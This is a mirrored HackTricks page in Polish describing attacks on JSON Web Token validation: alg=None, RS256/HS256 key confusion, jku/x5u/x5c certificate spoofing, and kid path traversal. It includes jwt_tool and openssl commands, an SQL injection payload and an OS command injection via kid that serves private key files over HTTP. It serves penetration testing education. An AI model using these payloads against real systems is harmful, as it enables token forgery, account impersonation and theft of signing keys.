mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 13:43:24 +00:00
276 lines
18 KiB
Markdown
276 lines
18 KiB
Markdown
# Podatności JWT (Json Web Tokens)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
**Część tego posta opiera się na świetnym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||
**Autor doskonałego narzędzia do testowania penetracyjnego JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||
|
||
### **Szybkie Zwycięstwa**
|
||
|
||
Uruchom [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) w trybie `All Tests!` i poczekaj na zielone linie
|
||
```bash
|
||
python3 jwt_tool.py -M at \
|
||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||
```
|
||
Jeśli masz szczęście, narzędzie znajdzie przypadki, w których aplikacja internetowa niepoprawnie sprawdza JWT:
|
||
|
||
![](<../.gitbook/assets/image (932).png>)
|
||
|
||
Następnie możesz wyszukać żądanie w swoim proxy lub wyciągnąć użyty JWT dla tego żądania za pomocą narzędzia jwt\_ tool:
|
||
```bash
|
||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||
```
|
||
### Modyfikacja danych bez zmiany niczego
|
||
|
||
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzić, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
|
||
|
||
#### **Czy token jest sprawdzany?**
|
||
|
||
Aby sprawdzić, czy sygnatura JWT jest weryfikowana:
|
||
|
||
* Komunikat o błędzie sugeruje trwającą weryfikację; szczegóły w rozbudowanych błędach powinny być sprawdzone.
|
||
* Zmiana na zwróconej stronie również wskazuje na weryfikację.
|
||
* Brak zmian sugeruje brak weryfikacji; wtedy można eksperymentować z modyfikacją twierdzeń ładunku.
|
||
|
||
### Pochodzenie
|
||
|
||
Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy po stronie klienta, poprzez analizę historii żądań proxy.
|
||
|
||
* Tokeny pochodzące po raz pierwszy po stronie klienta sugerują, że klucz może być ujawniony w kodzie po stronie klienta, co wymaga dalszego zbadania.
|
||
* Tokeny pochodzące po stronie serwera wskazują na bezpieczny proces.
|
||
|
||
### Czas trwania
|
||
|
||
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
|
||
|
||
### Brutalne narzędzie do odgadywania tajnego klucza HMAC
|
||
|
||
[Zobacz tę stronę.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||
|
||
### Zmiana algorytmu na None
|
||
|
||
Ustaw używany algorytm jako "None" i usuń część sygnatury.
|
||
|
||
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
|
||
|
||
### Zmiana algorytmu z RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
|
||
|
||
Algorytm HS256 używa tajnego klucza do podpisywania i weryfikowania każdej wiadomości.\
|
||
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i klucza publicznego do uwierzytelniania.
|
||
|
||
Jeśli zmienisz algorytm z RS256 na HS256, kod backendu użyje klucza publicznego jako tajnego klucza, a następnie użyje algorytmu HS256 do weryfikacji sygnatury.
|
||
|
||
Następnie, korzystając z klucza publicznego i zmieniając RS256 na HS256, możemy utworzyć poprawną sygnaturę. Możesz pobrać certyfikat serwera internetowego wykonując to:
|
||
```bash
|
||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||
```
|
||
### Nowy klucz publiczny w nagłówku
|
||
|
||
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji sygnatury (CVE-2018-0114).
|
||
|
||
Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
|
||
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
|
||
|
||
### Podmiana JWKS
|
||
|
||
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych korzystających z nagłówka "jku". Ten nagłówek powinien odnosić się do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokenu.
|
||
|
||
* **Ocena Tokenów z Nagłówkiem "jku"**:
|
||
* Zweryfikuj URL w deklaracji "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
|
||
* Zmodyfikuj wartość "jku" tokenu, aby kierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
|
||
* **Monitorowanie Interakcji HTTP**:
|
||
* Obserwacja żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
|
||
* Podczas korzystania z `jwt_tool` w tym procesie, istotne jest zaktualizowanie pliku `jwtconf.ini` z lokalizacją Twojego osobistego JWKS w celu ułatwienia testów.
|
||
* **Polecenie dla `jwt_tool`**:
|
||
* Wykonaj poniższe polecenie, aby zasymulować scenariusz za pomocą `jwt_tool`:
|
||
|
||
```bash
|
||
python3 jwt_tool.py JWT_TUTAJ -X s
|
||
```
|
||
|
||
### Problemy z "kid"
|
||
|
||
Opcjonalna deklaracja nagłówka znana jako `kid` jest wykorzystywana do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji sygnatury tokenu. Ta deklaracja pomaga w wyborze odpowiedniego klucza do weryfikacji sygnatury tokenu.
|
||
|
||
#### Ujawnianie Klucza poprzez "kid"
|
||
|
||
Gdy deklaracja `kid` jest obecna w nagłówku, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, pliki _/klucz/12345_ i _/klucz/12345.pem_ powinny być wyszukiwane w głównym katalogu sieciowym.
|
||
|
||
#### Traversal ścieżki z "kid"
|
||
|
||
Deklaracja `kid` może również być wykorzystana do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana JWT w celu zmiany wartości `kid` zachowując oryginalną sygnaturę może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
|
||
```bash
|
||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||
```
|
||
Poprzez celowanie w pliki z przewidywalną zawartością, możliwe jest sfałszowanie ważnego JWT. Na przykład plik `/proc/sys/kernel/randomize_va_space` w systemach Linux, zawierający wartość **2**, może być użyty w parametrze `kid` z **2** jako symetrycznym hasłem do generowania JWT.
|
||
|
||
#### Wstrzykiwanie SQL poprzez "kid"
|
||
|
||
Jeśli zawartość claimu `kid` jest wykorzystywana do pobrania hasła z bazy danych, wstrzyknięcie SQL może ułatwić modyfikację ładunku `kid`. Przykładowy ładunek wykorzystujący wstrzyknięcie SQL do zmiany procesu podpisywania JWT to:
|
||
|
||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||
|
||
Ta zmiana wymusza użycie znanego klucza tajnego, `ATTACKER`, do podpisywania JWT.
|
||
|
||
#### Wstrzykiwanie OS poprzez "kid"
|
||
|
||
Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzyknięcie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
|
||
|
||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||
|
||
### x5u i jku
|
||
|
||
#### jku
|
||
|
||
jku oznacza **JWK Set URL**.\
|
||
Jeśli token używa claimu nagłówka "**jku**", **sprawdź podany URL**. Powinien on wskazywać na adres URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokenu. Zmodyfikuj token, aby wskazywał wartość jku na usługę sieciową, którą możesz monitorować pod kątem ruchu.
|
||
|
||
Najpierw musisz utworzyć nowy certyfikat z nowymi kluczami prywatnymi i publicznymi.
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
Następnie możesz na przykład użyć [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
|
||
|
||
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
|
||
```bash
|
||
from Crypto.PublicKey import RSA
|
||
fp = open("publickey.crt", "r")
|
||
key = RSA.importKey(fp.read())
|
||
fp.close()
|
||
print("n:", hex(key.n))
|
||
print("e:", hex(key.e))
|
||
```
|
||
#### x5u
|
||
|
||
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formie PEM. Pierwszy certyfikat w zestawie musi być używany do podpisywania tego JWT. Kolejne certyfikaty podpisują poprzedni, co kończy łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807 . Wymagane jest zabezpieczenie transportu do przesyłania certyfikatów.
|
||
|
||
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku **możesz sfałszować JWT**.
|
||
|
||
Aby sfałszować nowy token za pomocą certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||
```
|
||
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na certyfikat .crt utworzony.**
|
||
|
||
![](<../.gitbook/assets/image (953).png>)
|
||
|
||
Możesz również nadużyć obu tych podatności **dla ataków SSRF**.
|
||
|
||
#### x5c
|
||
|
||
Ten parametr może zawierać **certyfikat w formacie base64**:
|
||
|
||
![](<../.gitbook/assets/image (1116).png>)
|
||
|
||
Jeśli atakujący **wygeneruje certyfikat podpisany własnoręcznie** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego, a następnie zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
|
||
```bash
|
||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||
openssl x509 -in attacker.crt -text
|
||
```
|
||
### Osadzony klucz publiczny (CVE-2018-0114)
|
||
|
||
Jeśli JWT zawiera osadzony klucz publiczny, jak w poniższym scenariuszu:
|
||
|
||
![](<../.gitbook/assets/image (619).png>)
|
||
|
||
Za pomocą następującego skryptu nodejs można wygenerować klucz publiczny z tych danych:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
|
||
e = "AQAB";
|
||
const key = new NodeRSA();
|
||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||
console.log(importedKey.exportKey("public"));
|
||
```
|
||
Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:
|
||
```bash
|
||
openssl genrsa -out keypair.pem 2048
|
||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||
```
|
||
Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs:
|
||
```bash
|
||
const NodeRSA = require('node-rsa');
|
||
const fs = require('fs');
|
||
keyPair = fs.readFileSync("keypair.pem");
|
||
const key = new NodeRSA(keyPair);
|
||
const publicComponents = key.exportKey('components-public');
|
||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||
```
|
||
### ES256: Ujawnienie klucza prywatnego przy użyciu tego samego nonce'a
|
||
|
||
Jeśli niektóre aplikacje używają ES256 i generują dwa jwt z tym samym nonce'em, klucz prywatny może zostać odtworzony.
|
||
|
||
Oto przykład: [ECDSA: Ujawnienie klucza prywatnego przy użyciu tego samego nonce'a (z SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||
|
||
### JTI (JWT ID)
|
||
|
||
Twierdzenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokenu JWT. Może być używany do zapobiegania odtwarzaniu tokenu.\
|
||
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądanie 0001 i 10001 będą korzystać z tego samego ID. Dlatego jeśli serwer zwiększa ID przy każdym żądaniu, można to wykorzystać do **odtwarzania żądania** (konieczne jest wysłanie 10000 żądań między każdym udanym odtworzeniem).
|
||
|
||
### Zarejestrowane twierdzenia JWT
|
||
|
||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||
|
||
### Inne ataki
|
||
|
||
**Ataki przekazywania międzyusługowego**
|
||
|
||
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, w których token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, korzystając z tego samego nazwy użytkownika/adresu e-mail. Następnie można spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
|
||
|
||
* Akceptacja twojego tokenu może wskazywać na poważny problem, który potencjalnie pozwala na podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczna zgoda na szersze testowanie, jeśli rejestracja w aplikacji innej firmy może wprowadzić w obszar szarej strefy prawniczej.
|
||
|
||
**Sprawdzanie ważności tokenów**
|
||
|
||
Ważność tokenu jest sprawdzana za pomocą twierdzenia ładunku "exp". Ponieważ JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków powtórnego przesyłania JWT poprzez wykorzystanie twierdzenia "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja wdrożyła odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera twierdzenie "exp" i limity czasu testów na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt\_tool.
|
||
|
||
* Istnieje ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygaśnie.
|
||
|
||
### Narzędzia
|
||
|
||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Jeśli interesuje Cię **kariera hakera** i haking tego, co niemożliwe - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|